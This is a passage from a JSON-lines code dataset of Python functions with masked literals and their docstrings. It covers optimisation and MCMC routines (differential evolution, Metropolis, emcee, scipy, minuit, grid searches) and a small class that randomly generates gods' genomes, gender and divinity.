mask.sum() < <NUM_LIT:20>:<EOL><INDENT>mask = best - all_fitness > cutoff_store<EOL><DEDENT>newarchive = [c for i, c in enumerate(all_candidates) if i == <NUM_LIT:0> or all_fitness[i - <NUM_LIT:1>] != c.fitness]<EOL>print('<STR_LIT>', len(archive), len(newarchive))<EOL>json.dump([{'<STR_LIT>': [float(f) for f in c.candidate], '<STR_LIT>':c.fitness} for c in newarchive], <EOL>open(prefix + '<STR_LIT>', '<STR_LIT:w>'), indent=<NUM_LIT:4>)<EOL>return newarchive<EOL><DEDENT>def observer(population, num_generations, num_evaluations, args):<EOL><INDENT>population.sort(reverse=True)<EOL>candidate = population[<NUM_LIT:0>]<EOL>print(('<STR_LIT>'.format(num_evaluations)), '<STR_LIT>', end='<STR_LIT:U+0020>') <EOL>print_candidate(candidate.candidate, candidate.fitness, args)<EOL>if num_evaluations % len(population) == <NUM_LIT:0> or num_evaluations < len(population) or args.get('<STR_LIT>', False):<EOL><INDENT>viz(candidate.candidate, args)<EOL><DEDENT><DEDENT>def generator(random, args): <EOL><INDENT>u = [random.uniform(<NUM_LIT:0>, <NUM_LIT:1>) for _ in range(n_params)]<EOL>u = [random.gauss(<NUM_LIT:0.5>, <NUM_LIT:0.1>) for _ in range(n_params)]<EOL>return bounder(u, args)<EOL><DEDENT>ea = inspyred.ec.DEA(prng)<EOL>ea.terminator = inspyred.ec.terminators.evaluation_termination<EOL>ea.archiver = solution_archiver<EOL>bounder = inspyred.ec.Bounder(lower_bound=<NUM_LIT>, upper_bound=<NUM_LIT:1>-<NUM_LIT>)<EOL>import copy<EOL>from math import log<EOL>@inspyred.ec.variators.mutator<EOL>def double_exponential_mutation(random, candidate, args):<EOL><INDENT>mut_rate = args.setdefault('<STR_LIT>', <NUM_LIT:0.1>)<EOL>mean = args.setdefault('<STR_LIT>', <NUM_LIT:0.0>)<EOL>stdev = args.setdefault('<STR_LIT>', <NUM_LIT:1.0>)<EOL>scale = log(<NUM_LIT:0.5>) / - (stdev)<EOL>bounder = args['<STR_LIT>'].bounder<EOL>mutant = copy.copy(candidate)<EOL>for i, m in enumerate(mutant):<EOL><INDENT>dice = random.random()<EOL>if dice < mut_rate:<EOL><INDENT>sign = (dice < mut_rate / <NUM_LIT:2>) * <NUM_LIT:2> - <NUM_LIT:1><EOL>delta = -log(random.random()) / scale<EOL>mutant[i] += delta * sign<EOL><DEDENT>mutant = bounder(mutant, args)<EOL><DEDENT>return mutant<EOL><DEDENT>def minute_gaussian_mutation(random, candidates, args):<EOL><INDENT>args = dict(args)<EOL>args['<STR_LIT>'] = <NUM_LIT:1><EOL>args['<STR_LIT>'] = <NUM_LIT><EOL>return inspyred.ec.variators.gaussian_mutation(random, candidates, args)<EOL><DEDENT>ea.variator = [inspyred.ec.variators.n_point_crossover, inspyred.ec.variators.gaussian_mutation, minute_gaussian_mutation]<EOL>ea.replacer = inspyred.ec.replacers.steady_state_replacement<EOL>ea.observer = observer<EOL>pop_size = <NUM_LIT:20><EOL>final_pop = ea.evolve(pop_size=pop_size, <EOL>max_evaluations=nsteps, maximize=True, seeds=seeds, <EOL>gaussian_stdev=<NUM_LIT>, <EOL>bounder=bounder, generator=generator, evaluator=fitness,<EOL>)<EOL>best = max(final_pop)<EOL>seeds = [c.candidate for c in ea.archive]<EOL>print('<STR_LIT>', best)<EOL>return {'<STR_LIT:start>': best.candidate, '<STR_LIT:value>': best.fitness,<EOL>'<STR_LIT>': seeds, '<STR_LIT>': '<STR_LIT>'}<EOL>", "docstring": "**Differential evolution**\n\nvia `inspyred <http://inspyred.github.io/>`_\n\nspecially tuned. steady state replacement, n-point crossover, \n        pop size 20, gaussian mutation noise 0.01 & 1e-6.\nstores intermediate results (can be used for resume, see seeds)\n\n:param start: start point\n:param seeds: list of start points\n:param vizfunc: callback to do visualization of current best solution\n:param printfunc: callback to summarize current best solution\n:param seed: RNG initialization (if set)", "id": "f14123:m0"}
{"signature": "def mcmc_advance(start, stdevs, logp, nsteps = <NUM_LIT>, adapt=True, callback=None):", "body": "import scipy<EOL>from numpy import log<EOL>import progressbar<EOL>prob = logp(start)<EOL>chain = [start]<EOL>accepts = [True]<EOL>probs = [prob]<EOL>assert not numpy.isnan(start).any()<EOL>assert not numpy.isnan(stdevs).any()<EOL>i = <NUM_LIT:0><EOL>widgets=['<STR_LIT>', progressbar.Percentage(), progressbar.Counter('<STR_LIT>'),<EOL>progressbar.Bar(), progressbar.ETA()]<EOL>pbar = progressbar.ProgressBar(widgets=widgets,<EOL>maxval=nsteps).start()<EOL>prev = start<EOL>prev_prob = prob<EOL>print('<STR_LIT>', prob)<EOL>stepchange = <NUM_LIT:0.1><EOL>while len(chain) < nsteps:<EOL><INDENT>i = i + <NUM_LIT:1><EOL>next = scipy.random.normal(prev, stdevs)<EOL>next[next > <NUM_LIT:1>] = <NUM_LIT:1><EOL>next[next < <NUM_LIT:0>] = <NUM_LIT:0><EOL>next_prob = logp(next)<EOL>assert not numpy.isnan(next).any()<EOL>assert not numpy.isnan(next_prob).any()<EOL>delta = next_prob - prev_prob<EOL>dice = log(scipy.random.uniform(<NUM_LIT:0>, <NUM_LIT:1>))<EOL>accept = delta > dice<EOL>if accept:<EOL><INDENT>prev = next<EOL>prev_prob = next_prob<EOL>if adapt: stdevs *= (<NUM_LIT:1> + stepchange)<EOL><DEDENT>else:<EOL><INDENT>if adapt: stdevs *= (<NUM_LIT:1> + stepchange)**(-<NUM_LIT>) <EOL><DEDENT>if callback: callback(prev_prob, prev, accept)<EOL>chain.append(prev)<EOL>accepts.append(accept)<EOL>probs.append(prev_prob)<EOL>if adapt: stepchange = min(<NUM_LIT:0.1>, <NUM_LIT> / i)<EOL>widgets[<NUM_LIT:0>] = '<STR_LIT>' % numpy.mean(numpy.array(accepts[len(accepts)/<NUM_LIT:3>:])+<NUM_LIT:0>)<EOL>pbar.update(pbar.currval + <NUM_LIT:1>)<EOL><DEDENT>pbar.finish()<EOL>return chain, probs, accepts, stdevs<EOL>", "docstring": "Generic Metropolis MCMC. Advances the chain by nsteps.\nCalled by :func:`mcmc`\n\n:param adapt: enables adaptive stepwidth alteration (converges).", "id": "f14125:m0"}
{"signature": "def mcmc(transform, loglikelihood, parameter_names, nsteps=<NUM_LIT>, nburn=<NUM_LIT>, <EOL>stdevs=<NUM_LIT:0.1>, start = <NUM_LIT:0.5>, **problem):", "body": "if '<STR_LIT>' in problem:<EOL><INDENT>numpy.random.seed(problem['<STR_LIT>'])<EOL><DEDENT>n_params = len(parameter_names)<EOL>def like(cube):<EOL><INDENT>cube = numpy.array(cube)<EOL>if (cube <= <NUM_LIT>).any() or (cube >= <NUM_LIT:1>-<NUM_LIT>).any():<EOL><INDENT>return -<NUM_LIT><EOL><DEDENT>params = transform(cube)<EOL>return loglikelihood(params)<EOL><DEDENT>start = start + numpy.zeros(n_params)<EOL>stdevs = stdevs + numpy.zeros(n_params)<EOL>def compute_stepwidths(chain):<EOL><INDENT>return numpy.std(chain, axis=<NUM_LIT:0>) / <NUM_LIT:3><EOL><DEDENT>import matplotlib.pyplot as plt<EOL>plt.figure(figsize=(<NUM_LIT:7>, <NUM_LIT:7>))<EOL>steps = numpy.array([<NUM_LIT:0.1>]*(n_params))<EOL>print('<STR_LIT>')<EOL>chain, prob, _, steps_ = mcmc_advance(start, steps, like, nsteps=nburn / <NUM_LIT:2>, adapt=True)<EOL>steps = compute_stepwidths(chain)<EOL>print('<STR_LIT>')<EOL>chain, prob, _, steps_ = mcmc_advance(chain[-<NUM_LIT:1>], steps, like, nsteps=nburn / <NUM_LIT:2>, adapt=True)<EOL>steps = compute_stepwidths(chain)<EOL>print('<STR_LIT>')<EOL>chain, prob, _, steps_ = mcmc_advance(chain[-<NUM_LIT:1>], steps, like, nsteps=nsteps)<EOL>chain = numpy.array(chain)<EOL>i = numpy.argmax(prob)<EOL>final = chain[-<NUM_LIT:1>]<EOL>print('<STR_LIT>')<EOL>chain = numpy.array([transform(params) for params in chain])<EOL>return dict(start=chain[-<NUM_LIT:1>], maximum=chain[i], seeds=[final, chain[i]], chain=chain, method='<STR_LIT>')<EOL>", "docstring": "**Metropolis Hastings MCMC**\n\nwith automatic step width adaption. \nBurnin period is also used to guess steps.\n\n:param nburn: number of burnin steps\n:param stdevs: step widths to start with", "id": "f14125:m1"}
{"signature": "def ensemble(transform, loglikelihood, parameter_names, nsteps=<NUM_LIT>, nburn=<NUM_LIT>, <EOL>start=<NUM_LIT:0.5>, **problem):", "body": "import emcee<EOL>import progressbar<EOL>if '<STR_LIT>' in problem:<EOL><INDENT>numpy.random.seed(problem['<STR_LIT>'])<EOL><DEDENT>n_params = len(parameter_names)<EOL>nwalkers = <NUM_LIT:50> + n_params * <NUM_LIT:2><EOL>if nwalkers > <NUM_LIT:200>:<EOL><INDENT>nwalkers = <NUM_LIT:200><EOL><DEDENT>p0 = [numpy.random.rand(n_params) for i in range(nwalkers)]<EOL>start = start + numpy.zeros(n_params)<EOL>p0[<NUM_LIT:0>] = start<EOL>def like(cube):<EOL><INDENT>cube = numpy.array(cube)<EOL>if (cube <= <NUM_LIT>).any() or (cube >= <NUM_LIT:1>-<NUM_LIT>).any():<EOL><INDENT>return -<NUM_LIT><EOL><DEDENT>params = transform(cube)<EOL>return loglikelihood(params)<EOL><DEDENT>sampler = emcee.EnsembleSampler(nwalkers, n_params, like,<EOL>live_dangerously=True)<EOL>print('<STR_LIT>')<EOL>pos, prob, state = sampler.run_mcmc(p0, nburn / nwalkers)<EOL>sampler.reset()<EOL>print('<STR_LIT>')<EOL>pbar = progressbar.ProgressBar(<EOL>widgets=[progressbar.Percentage(), progressbar.Counter('<STR_LIT>'),<EOL>progressbar.Bar(), progressbar.ETA()],<EOL>maxval=nsteps).start()<EOL>for results in sampler.sample(pos, iterations=nsteps / nwalkers, rstate0=state):<EOL><INDENT>pbar.update(pbar.currval + <NUM_LIT:1>)<EOL><DEDENT>pbar.finish()<EOL>print(\"<STR_LIT>\", numpy.mean(sampler.acceptance_fraction))<EOL>chain = sampler.flatchain<EOL>final = chain[-<NUM_LIT:1>]<EOL>print('<STR_LIT>')<EOL>chain_post = numpy.array([transform(params) for params in chain])<EOL>chain_prob = sampler.flatlnprobability<EOL>return dict(start=final, chain=chain_post, chain_prior=chain,<EOL>chain_prob=chain_prob,<EOL>method='<STR_LIT>')<EOL>", "docstring": "**Ensemble MCMC**\n\nvia `emcee <http://dan.iel.fm/emcee/>`_", "id": "f14125:m2"}
{"signature": "def classical(transform, loglikelihood, parameter_names, prior, <EOL>start = <NUM_LIT:0.5>, ftol=<NUM_LIT:0.1>, disp=<NUM_LIT:0>, nsteps=<NUM_LIT>,<EOL>method='<STR_LIT>', **args):", "body": "import scipy.optimize<EOL>n_params = len(parameter_names)<EOL>def minfunc(params):<EOL><INDENT>l = loglikelihood(params)<EOL>p = prior(params)<EOL>if numpy.isinf(p) and p < <NUM_LIT:0>:<EOL><INDENT>print('<STR_LIT>')<EOL>return -<NUM_LIT><EOL><DEDENT>if numpy.isnan(l):<EOL><INDENT>return -<NUM_LIT><EOL><DEDENT>return -l - p<EOL><DEDENT>def minfunc_cube(cube):<EOL><INDENT>cube = numpy.array(cube)<EOL>if (cube <= <NUM_LIT>).any() or (cube >= <NUM_LIT:1>-<NUM_LIT>).any():<EOL><INDENT>return <NUM_LIT><EOL><DEDENT>params = transform(cube)<EOL>l = loglikelihood(params)<EOL>p = prior(params)<EOL>if numpy.isinf(p) and p < <NUM_LIT:0>:<EOL><INDENT>print('<STR_LIT>')<EOL>return -<NUM_LIT><EOL><DEDENT>if numpy.isnan(l):<EOL><INDENT>return -<NUM_LIT><EOL><DEDENT>return -l - p<EOL><DEDENT>start = start + numpy.zeros(n_params)<EOL>ret = {}<EOL>if method == '<STR_LIT>':<EOL><INDENT>final, value, _niter, neval, warnflag = scipy.optimize.fmin(minfunc_cube, start, ftol=ftol, disp=disp, maxfun=nsteps, full_output=True)<EOL><DEDENT>elif method == '<STR_LIT>':<EOL><INDENT>cons =  [lambda params: params[i]     for i in range(n_params)]<EOL>cons += [lambda params: <NUM_LIT:1> - params[i] for i in range(n_params)]<EOL>final = scipy.optimize.fmin_cobyla(minfunc_cube, start, cons, rhoend=ftol / <NUM_LIT:10>, disp=disp, maxfun=nsteps)<EOL>neval = nsteps<EOL><DEDENT>elif method == '<STR_LIT>' or method == '<STR_LIT>':<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>s = '<STR_LIT:U+002CU+0020>'.join(parameter_names)<EOL>s = \"\"\"<STR_LIT>\"\"\" % (s, s)<EOL>if method == '<STR_LIT>':<EOL><INDENT>f = eval(s, dict(minfunc=minfunc, numpy=numpy))<EOL>start = transform(start)<EOL><DEDENT>else:<EOL><INDENT>f = eval(s, dict(minfunc=minfunc_cube, numpy=numpy))<EOL><DEDENT>import minuit<EOL>m = minuit.Minuit(f)<EOL>for i, p in enumerate(parameter_names):<EOL><INDENT>m.values[p] = start[i]<EOL>if method == '<STR_LIT>':<EOL><INDENT>m.limits[p] = (<NUM_LIT>, <NUM_LIT:1> - <NUM_LIT>)<EOL><DEDENT><DEDENT>m.up = <NUM_LIT:0.5><EOL>m.tol = ftol * <NUM_LIT:100><EOL>m.printMode = disp<EOL>if method == '<STR_LIT>':<EOL><INDENT>m.migrad()<EOL><DEDENT>elif method == '<STR_LIT>':<EOL><INDENT>m.hesse()<EOL><DEDENT>final = [m.values[p] for p in parameter_names]<EOL>neval = m.ncalls<EOL>errors = [m.errors[p] for p in parameter_names]<EOL>if method == '<STR_LIT>':<EOL><INDENT>c0 = final<EOL>p0 = transform(c0)<EOL>stdev = numpy.zeros(n_params)<EOL>lower = numpy.zeros(n_params)<EOL>upper = numpy.zeros(n_params)<EOL>for i, w in enumerate(errors):<EOL><INDENT>c1 = numpy.copy(c0)<EOL>c1[i] -= w<EOL>c2 = numpy.copy(c0)<EOL>c2[i] += w<EOL>p1 = transform(c1)<EOL>p2 = transform(c2)<EOL>stdev[i] = numpy.abs(p2[i] - p1[i]) / <NUM_LIT:2><EOL>lower[i] = min(p2[i], p1[i])<EOL>upper[i] = max(p2[i], p1[i])<EOL><DEDENT>ret['<STR_LIT>'] = stdev<EOL>ret['<STR_LIT>'] = upper<EOL>ret['<STR_LIT>'] = lower<EOL><DEDENT>elif method == '<STR_LIT>':<EOL><INDENT>ret['<STR_LIT>'] = errors<EOL>ret['<STR_LIT>'] = numpy.matrix([[m.covariance[(a, b)] for b in parameter_names] for a in parameter_names])<EOL><DEDENT><DEDENT>else:<EOL><INDENT>from openopt import NLP<EOL>lo = [<NUM_LIT>] * n_params<EOL>hi = [<NUM_LIT:1>-<NUM_LIT>] * n_params<EOL>iprint = <NUM_LIT:0> if disp == <NUM_LIT:0> else <NUM_LIT:10> if disp == <NUM_LIT:1> else <NUM_LIT:1><EOL>p = NLP(f=minfunc_cube, x0=start, lb=lo, ub=hi,<EOL>maxFunEvals=nsteps, ftol=ftol, iprint=iprint)<EOL>r = p.solve(method)<EOL>final = r.xf<EOL>neval = r.evals['<STR_LIT:f>']<EOL><DEDENT>ret.update(dict(start=final, maximum=transform(final), method=method, neval=neval))<EOL>return ret<EOL>", "docstring": "**Classic optimization methods**\n\n:param start: start position vector (before transform)\n:param ftol: accuracy required to stop at optimum\n:param disp: verbosity\n:param nsteps: number of steps\n:param method: string\n        neldermead, cobyla (via `scipy.optimize <http://docs.scipy.org/doc/scipy/reference/tutorial/optimize.html>`_)\n        bobyqa, ralg, algencan, ipopt, mma, auglag and many others from the OpenOpt framework (via `openopt.NLP <http://openopt.org/NLP>`_)\n        minuit (via `PyMinuit <https://code.google.com/p/pyminuit/>`_)", "id": "f14126:m0"}
{"signature": "def onebyone(transform, loglikelihood, parameter_names, prior, start = <NUM_LIT:0.5>, ftol=<NUM_LIT:0.1>, disp=<NUM_LIT:0>, nsteps=<NUM_LIT>,<EOL>parallel=False, find_uncertainties=False, **args):", "body": "def minfunc(cube):<EOL><INDENT>cube = numpy.array(cube)<EOL>if (cube <= <NUM_LIT>).any() or (cube >= <NUM_LIT:1>-<NUM_LIT>).any():<EOL><INDENT>return <NUM_LIT><EOL><DEDENT>params = transform(cube)<EOL>l = loglikelihood(params)<EOL>p = prior(params)<EOL>if numpy.isinf(p) and p < <NUM_LIT:0>:<EOL><INDENT>print('<STR_LIT>')<EOL>return -<NUM_LIT><EOL><DEDENT>if numpy.isnan(l):<EOL><INDENT>return -<NUM_LIT><EOL><DEDENT>return -l - p<EOL><DEDENT>if parallel:<EOL><INDENT>func = opt_grid_parallel<EOL><DEDENT>else:<EOL><INDENT>func = opt_grid<EOL><DEDENT>n_params = len(parameter_names)<EOL>start = start + numpy.zeros(n_params)<EOL>ret = func(start, minfunc, [(<NUM_LIT>, <NUM_LIT:1>-<NUM_LIT>)] * n_params, ftol=ftol, disp=disp, compute_errors=find_uncertainties)<EOL>if find_uncertainties:<EOL><INDENT>c0 = ret[<NUM_LIT:0>]<EOL>p0 = transform(c0)<EOL>stdev = numpy.zeros(n_params)<EOL>lower = numpy.zeros(n_params)<EOL>upper = numpy.zeros(n_params)<EOL>for i, (lo, hi) in enumerate(ret[<NUM_LIT:1>]):<EOL><INDENT>c1 = numpy.copy(c0)<EOL>c1[i] = lo<EOL>c2 = numpy.copy(c0)<EOL>c2[i] = hi<EOL>p1 = transform(c1)<EOL>p2 = transform(c2)<EOL>stdev[i] = numpy.abs(p2[i] - p1[i]) / <NUM_LIT:2><EOL>lower[i] = min(p2[i], p1[i])<EOL>upper[i] = max(p2[i], p1[i])<EOL><DEDENT>return dict(start=ret[<NUM_LIT:0>], maximum=p0,<EOL>stdev=stdev, upper=upper, lower=lower,<EOL>method='<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>return dict(start=ret, maximum=transform(ret), method='<STR_LIT>')<EOL><DEDENT>", "docstring": "**Convex optimization based on Brent's method**\n\nA strict assumption of one optimum between the parameter limits is used.\nThe bounds are narrowed until it is found, i.e. the likelihood function is flat\nwithin the bounds.\n* If optimum outside bracket, expands bracket until contained.\n* Thus guaranteed to return local optimum.\n* Supports parallelization (multiple parameters are treated independently)\n* Supports finding ML uncertainties (Delta-Chi^2=1)\n\nVery useful for 1-3d problems.\nOtherwise useful, reproducible/deterministic algorithm for finding the minimum in \nwell-behaved likelihoods, where the parameters are weakly independent,\nor to find a good starting point. \nOptimizes each parameter in order, assuming they are largely independent.\n\nFor 1-dimensional algorithm used, see :func:`jbopt.opt_grid`\n\n:param ftol: difference in values at which the function can be considered flat\n:param compute_errors: compute standard deviation of gaussian around optimum", "id": "f14126:m1"}
{"signature": "def opt_normalizations(params, func, limits, abandon_threshold=<NUM_LIT:100>, noimprovement_threshold=<NUM_LIT>,<EOL>disp=<NUM_LIT:0>):", "body": "newparams = numpy.copy(params)<EOL>lower = [lo for lo, hi in limits]<EOL>upper = [hi for lo, hi in limits]<EOL>for i, p in enumerate(params):<EOL><INDENT>startval = p<EOL>beststat = func(newparams)<EOL>bestval = startval<EOL>if disp > <NUM_LIT:0>:<EOL><INDENT>print('<STR_LIT>' % (startval, beststat))<EOL><DEDENT>go_up = True<EOL>go_down = True<EOL>for n in list(<NUM_LIT>**numpy.arange(<NUM_LIT:1>, <NUM_LIT:20>)) + [None] + list(<NUM_LIT>**numpy.arange(<NUM_LIT:1>, <NUM_LIT>)):<EOL><INDENT>if n is None:<EOL><INDENT>startval = bestval<EOL>if disp > <NUM_LIT:0>:<EOL><INDENT>print('<STR_LIT>' % (startval))<EOL><DEDENT>go_up = True<EOL>go_down = True<EOL>continue<EOL><DEDENT>if go_up and startval * n > upper[i]:<EOL><INDENT>if disp > <NUM_LIT:0>:<EOL><INDENT>print('<STR_LIT>' %<EOL>(startval, n, upper[i]))<EOL><DEDENT>go_up = False<EOL><DEDENT>if go_down and startval / n < lower[i]:<EOL><INDENT>if disp > <NUM_LIT:0>:<EOL><INDENT>print('<STR_LIT>' %<EOL>(startval, n, lower[i]))<EOL><DEDENT>go_down = False<EOL><DEDENT>if go_up:<EOL><INDENT>if disp > <NUM_LIT:1>:<EOL><INDENT>print('<STR_LIT>' % (startval * n))<EOL><DEDENT>newparams[i] = startval * n<EOL>newstat = func(newparams)<EOL>if disp > <NUM_LIT:1>:<EOL><INDENT>print('<STR_LIT>' % (newparams[i], newstat))<EOL><DEDENT>if newstat <= beststat:<EOL><INDENT>bestval = newparams[i]<EOL>beststat = newstat<EOL>if disp > <NUM_LIT:0>:<EOL><INDENT>print('<STR_LIT>' % newparams[i])<EOL><DEDENT><DEDENT>if newstat > beststat + abandon_threshold:<EOL><INDENT>go_up = False<EOL><DEDENT><DEDENT>if go_down:<EOL><INDENT>if disp > <NUM_LIT:1>:<EOL><INDENT>print('<STR_LIT>' % (startval / n))<EOL><DEDENT>newparams[i] = startval / n<EOL>newstat = func(newparams)<EOL>if disp > <NUM_LIT:1>:<EOL><INDENT>print('<STR_LIT>' % (newparams[i], newstat))<EOL><DEDENT>if newstat + noimprovement_threshold < beststat:  <EOL><INDENT>bestval = newparams[i]<EOL>beststat = newstat<EOL>if disp > <NUM_LIT:0>:<EOL><INDENT>print('<STR_LIT>' % newparams[i])<EOL><DEDENT><DEDENT>if newstat > beststat + abandon_threshold:<EOL><INDENT>go_down = False<EOL><DEDENT><DEDENT><DEDENT>newparams[i] = bestval<EOL>print('<STR_LIT>' % (i, newparams[i]))<EOL><DEDENT>print('<STR_LIT>' % (beststat))<EOL>return newparams<EOL>", "docstring": "**optimization algorithm for scale variables (positive value of unknown magnitude)**\n\nEach parameter is a normalization of a feature, and its value is sought.\nThe parameters are handled in order (assumed to be independent), \nbut a second round can be run.\nVarious magnitudes of the normalization are tried. If the normalization converges\nto zero, the largest value yielding a comparable value is used.\n\nOptimizes each normalization parameter in rough steps \nusing multiples of 3 of start point\nto find reasonable starting values for another algorithm.\n\nparameters, minimization function, parameter space definition [(lo, hi) for i in params]\n\n:param abandon_threshold:\n        if in one direction the function increases by this much over the best value, \n        abort search in this direction\n:param noimprovement_threshold:\n        when decreasing the normalization, if the function increases by less than \n        this amount, abort search in this direction\n:param disp:\n        verbosity", "id": "f14127:m0"}
{"signature": "def opt_grid(params, func, limits, ftol=<NUM_LIT>, disp=<NUM_LIT:0>, compute_errors=True):", "body": "caches = [[] for p in params]<EOL>newparams = numpy.copy(params)<EOL>errors = [[] for p in params]<EOL>for i, p in enumerate(params):<EOL><INDENT>cache = []<EOL>def func1(x0):<EOL><INDENT>newparams[i] = x0<EOL>v = func(newparams)<EOL>cache.append([x0, v])<EOL>return v<EOL><DEDENT>lo, hi = limits[i]<EOL>bestval = optimize(func1, x0=p,<EOL>cons=[lambda x: x - lo, lambda x: hi - x],<EOL>ftol=ftol, disp=disp - <NUM_LIT:1>)<EOL>beststat = func1(bestval)<EOL>if compute_errors:<EOL><INDENT>errors[i] = cache2errors(func1, cache, disp=disp - <NUM_LIT:1>)<EOL><DEDENT>newparams[i] = bestval<EOL>caches[i] = cache<EOL>if disp > <NUM_LIT:0>:<EOL><INDENT>if compute_errors:<EOL><INDENT>print('<STR_LIT>' % (<EOL>i, bestval, errors[i][<NUM_LIT:0>], errors[i][<NUM_LIT:1>], beststat))<EOL><DEDENT>else:<EOL><INDENT>print('<STR_LIT>' %<EOL>(i, bestval, beststat))<EOL><DEDENT><DEDENT><DEDENT>beststat = func(newparams)<EOL>if disp > <NUM_LIT:0>:<EOL><INDENT>print('<STR_LIT>' % (beststat))<EOL><DEDENT>if compute_errors:<EOL><INDENT>return newparams, errors<EOL><DEDENT>else:<EOL><INDENT>return newparams<EOL><DEDENT>", "docstring": "see :func:`optimize1d.optimize`, considers each parameter in order\n\n:param ftol: \n        difference in values at which the function can be considered flat\n:param compute_errors:\n        compute standard deviation of gaussian around optimum", "id": "f14127:m1"}
{"signature": "def opt_grid_parallel(params, func, limits, ftol=<NUM_LIT>, disp=<NUM_LIT:0>, compute_errors=True):", "body": "import multiprocessing<EOL>def spawn(f):<EOL><INDENT>def fun(q_in, q_out):<EOL><INDENT>while True:<EOL><INDENT>i, x = q_in.get()<EOL>if i == None:<EOL><INDENT>break<EOL><DEDENT>q_out.put((i, f(x)))<EOL><DEDENT><DEDENT>return fun<EOL><DEDENT>def parmap(f, X, nprocs=multiprocessing.cpu_count()):<EOL><INDENT>q_in = multiprocessing.Queue(<NUM_LIT:1>)<EOL>q_out = multiprocessing.Queue()<EOL>proc = [multiprocessing.Process(target=spawn(<EOL>f), args=(q_in, q_out)) for _ in range(nprocs)]<EOL>for p in proc:<EOL><INDENT>p.daemon = True<EOL>p.start()<EOL><DEDENT>sent = [q_in.put((i, x)) for i, x in enumerate(X)]<EOL>[q_in.put((None, None)) for _ in range(nprocs)]<EOL>res = [q_out.get() for _ in range(len(sent))]<EOL>[p.join() for p in proc]<EOL>return [x for i, x in sorted(res)]<EOL><DEDENT>nthreads = multiprocessing.cpu_count()<EOL>caches = [[] for p in params]<EOL>newparams = numpy.copy(params)<EOL>errors = [[] for p in params]<EOL>indices = list(range(<NUM_LIT:0>, len(params), nthreads))<EOL>k = <NUM_LIT:0><EOL>while k < len(params):<EOL><INDENT>j = min(len(params), k + nthreads * <NUM_LIT:2>)<EOL>def run1d(xxx_todo_changeme):<EOL><INDENT>(i, curparams, curlimits) = xxx_todo_changeme<EOL>cache = []<EOL>def func1(x0):<EOL><INDENT>curparams[i] = x0<EOL>v = func(curparams)<EOL>cache.append([x0, v])<EOL>return v<EOL><DEDENT>lo, hi = curlimits<EOL>bestval = optimize(func1, x0=p,<EOL>cons=[lambda x: x - lo, lambda x: hi - x],<EOL>ftol=ftol, disp=disp - <NUM_LIT:1>)<EOL>beststat = func1(bestval)<EOL>if compute_errors:<EOL><INDENT>errors = cache2errors(func1, cache, disp=disp - <NUM_LIT:1>)<EOL>return bestval, beststat, errors, cache<EOL><DEDENT>return bestval, beststat, cache<EOL><DEDENT>results = parmap(<EOL>run1d, [(i, numpy.copy(newparams), limits[i]) for i in range(k, j)])<EOL>for i, r in enumerate(results):<EOL><INDENT>if compute_errors:<EOL><INDENT>v, s, e, c = r<EOL>if disp > <NUM_LIT:0>:<EOL><INDENT>print('<STR_LIT>' % (<EOL>i + k, v, e[<NUM_LIT:0>], e[<NUM_LIT:1>], s))<EOL><DEDENT><DEDENT>else:<EOL><INDENT>v, s, c = r<EOL>e = []<EOL>if disp > <NUM_LIT:0>:<EOL><INDENT>print('<STR_LIT>' % (i + k, v, s))<EOL><DEDENT><DEDENT>newparams[i + k] = v<EOL>caches[i + k] = c<EOL>errors[i + k] = e<EOL><DEDENT>k = j<EOL><DEDENT>beststat = func(newparams)<EOL>if disp > <NUM_LIT:0>:<EOL><INDENT>print('<STR_LIT>' % (beststat))<EOL><DEDENT>if compute_errors:<EOL><INDENT>return newparams, errors<EOL><DEDENT>else:<EOL><INDENT>return newparams<EOL><DEDENT>", "docstring": "parallelized version of :func:`opt_grid`", "id": "f14127:m2"}
{"signature": "def set_chromosomes(self, chromosomes=None):", "body": "if chromosomes and chromosomes in valid_chromosomes:<EOL><INDENT>self.chromosomes = chromosomes<EOL><DEDENT>else:<EOL><INDENT>self.chromosomes = random.choice([XX, XY])<EOL><DEDENT>", "docstring": "This model uses the XY sex-determination system. Sex != gender.\n        Assign either XX or XY randomly with a 50/50 chance of each, unless\n        <chromosomes> are passed as an argument.", "id": "f14134:c0:m1"}
{"signature": "def set_gender(self, gender=None):", "body": "if gender and gender in genders:<EOL><INDENT>self.gender = gender<EOL><DEDENT>else:<EOL><INDENT>if not self.chromosomes: self.set_chromosomes()<EOL>self.gender = npchoice(genders, <NUM_LIT:1>, p=p_gender[self.chromosomes])[<NUM_LIT:0>]<EOL><DEDENT>", "docstring": "This model recognizes that sex chromosomes don't always line up with\n        gender. Assign M, F, or NB according to the probabilities in p_gender.", "id": "f14134:c0:m2"}
{"signature": "def set_inherited_traits(self, egg_donor, sperm_donor):", "body": "if type(egg_donor) == str:<EOL><INDENT>self.reproduce_asexually(egg_donor, sperm_donor)<EOL><DEDENT>else:<EOL><INDENT>self.reproduce_sexually(egg_donor, sperm_donor)<EOL><DEDENT>", "docstring": "Accept either strings or Gods as inputs.", "id": "f14134:c0:m3"}
{"signature": "def reproduce_asexually(self, egg_word, sperm_word):", "body": "egg = self.generate_gamete(egg_word)<EOL>sperm = self.generate_gamete(sperm_word)<EOL>self.genome = list(set(egg + sperm)) <EOL>self.generation = <NUM_LIT:1><EOL>self.divinity = god<EOL>", "docstring": "Produce two gametes, an egg and a sperm, from the input strings.\n        Combine them to produce a genome a la sexual reproduction.", "id": "f14134:c0:m4"}
{"signature": "def reproduce_sexually(self, egg_donor, sperm_donor):", "body": "egg_word = random.choice(egg_donor.genome)<EOL>egg = self.generate_gamete(egg_word)<EOL>sperm_word = random.choice(sperm_donor.genome)<EOL>sperm = self.generate_gamete(sperm_word)<EOL>self.genome = list(set(egg + sperm)) <EOL>self.parents = [egg_donor.name, sperm_donor.name]<EOL>self.generation = max(egg_donor.generation, sperm_donor.generation) + <NUM_LIT:1><EOL>sum_ = egg_donor.divinity + sperm_donor.divinity<EOL>self.divinity = int(npchoice(divinities, <NUM_LIT:1>, p=p_divinity[sum_])[<NUM_LIT:0>])<EOL>", "docstring": "Produce two gametes, an egg and a sperm, from input Gods. Combine\n        them to produce a genome a la sexual reproduction. Assign divinity\n        according to probabilities in p_divinity. The more divine the parents,\n        the more divine their offspring.", "id": "f14134:c0:m5"}
